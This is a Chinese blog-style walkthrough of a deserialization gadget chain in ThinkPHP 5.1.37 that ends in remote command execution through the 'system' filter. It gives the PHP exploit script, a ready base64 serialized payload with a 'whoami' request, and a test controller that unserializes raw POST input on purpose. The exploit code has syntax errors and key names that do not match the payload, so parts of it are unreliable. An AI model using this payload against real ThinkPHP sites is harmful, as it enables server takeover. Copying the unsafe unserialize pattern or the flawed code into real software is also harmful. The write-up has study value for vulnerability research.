ThinkPHP5.1.37反序列化链

环境构造

环境:php 7.0.12
下载包:[https://github.com/top-think/framework/releases/tag/v5.1.37]
[https://github.com/top-think/think/releases/tag/v5.1.37]

只要将framework改为thinkphp放进think-5.1.37里即可

ThinkPHP5.1.37反序列化链

首先用全局变量搜索__destruct(),发现在think\process\pipes\Windows.php的__destruct()有可利用的地方

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

然后我们看向removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

看见file_exists(),这个函数的参数必须是String的形式,所以我们可以利用这个特性来触发__toString(),我们通过全局搜索,对各文件的__toString()进行比对,我们可以使用think\Collection.php的__toString()

1
2
3
4
public function __toString()
{
return $this->toJson();
}

然后看向toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

然后再看向toArray(),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible([$attr]);
}

$item[$key] = $relation->append([$attr])->toArray();
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

发现toArray()函数中的这里是可利用点

1
2
3
4
5
6
7
8
9
10
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

我们可以利用$relation->visible($name);来触发__call()魔术方法,但是我们需要$this->append是可控点以及$relation是可控点,现在我们知道$this->append是可控的,但是$relation是否可控,我们需要看向getRelation()函数,所以根据全局搜索,我们可以看向think\model\concern\RelationShip.php

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

由于输入的$key不在$this->relation中,所以返回空,因此可以通过if (!$relation),但是我们需要$relation可控,所以我们要继续看向getAttr()函数,可以通过全局搜索,看向think\model\concern\Attribute.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}

return $value;
}

看它的return $value,我们可以看一下$value是怎么来的,

1
$value    = $this->getData($name);

因此,我们需要看向getData()

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

可以看见当传入的$key是data这个可控点的键值的时候,会返回return $this->data[$name],从而让$relation成为可控点,此时,我们需要找一个__call(),里面会有一些危险函数可以利用,通过全局搜索,发现think\Request.php里的__call()可以利用

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

但是看到$this->hook是控制了必须在这个类中,一般think\Request.php里的input()方法是相当于call_user_func(),所以我们可以先找到这个类中的input()方法的使用函数,看哪个函数可以使用,最后发现param()函数可以使用,然后再看哪个函数使用了param()函数且只有一个参数的,发现isAjax()函数调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

param()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

input函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

最后我们可以控制$filter和$data,然后通过array_walk_recursive()函数来执行命令

exp的构造

由于Windows类中的file_exists()触发的__toString()魔术方法是在Conversion类中的,又因为这个类是trait,所以不可以实例化,所以要找继承这个类的类,所以我们找到了model类

1
2
3
4
5
6
7
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

但是发现Model类是个抽象类,所以我们需要找一个类是继承Model类的,找到了Pivot类,所以第一步,我们需要通过构造Windows类中的$this-file来触发__toString(),根据继承关系,我们可以使用Pivot类

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

namespace think\process\pipes;

use think\model\Pivot;

class Windows
{
private $file=[];
public function __construct(){
$this->file=[new Pivot()];
}
}

此时会触发think\model\concern\Conversion类中的__toString(),然后再看向toJson(),再看向toArray(),我们需要控制$this->append和$this->data,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

abstract class Model
{
protected $append;
private $data;
public function __construct{
$this->append=["huhu"=>[]];
$this->data=["huhu"=>new Request()];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
?>

然后触发Request类的__call()魔术方法,所以我们可以构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

namespace think;

class Request
{
protected $hook;
protected $config=[];
protected filter;

public function __constuct{
$this->hook=["visible"=>[$this,isAjax]];
$this->config["var_ajax"=>'huhu'];
$this->filter="system";
}
}
?>

然后将三部分合在一起,构成最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;

class Request
{
protected $hook;
protected $config=[];
protected filter;

public function __constuct{
$this->hook=["visible"=>[$this,isAjax]];
$this->config["var_ajax"=>'huhu'];
$this->filter="system";
}
}


abstract class Model
{
protected $append;
private $data;
public function __construct{
$this->append=["huhu"=>[]];
$this->data=["huhu"=>new Request()];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;

use think\model\Pivot;

class Windows
{
private $file=[];
public function __construct(){
$this->file=[new Pivot()];
}
}

echo base64_encode(serialize(new Windows()));

测试

我们只需修改application\index\controller\Index.php文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$b=$_POST['code'];
$a=unserialize(base64_decode($b));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'.$b;
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

然后访问/public/index.php,构造

1
2
3
4
5
get提交
?huhu[]=whoami

post提交
code=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=

即可执行命令

参考文章:[https://www.cnblogs.com/zpchcbd/p/12642225.html]
[https://blog.csdn.net/qq_41891666/article/details/107463740]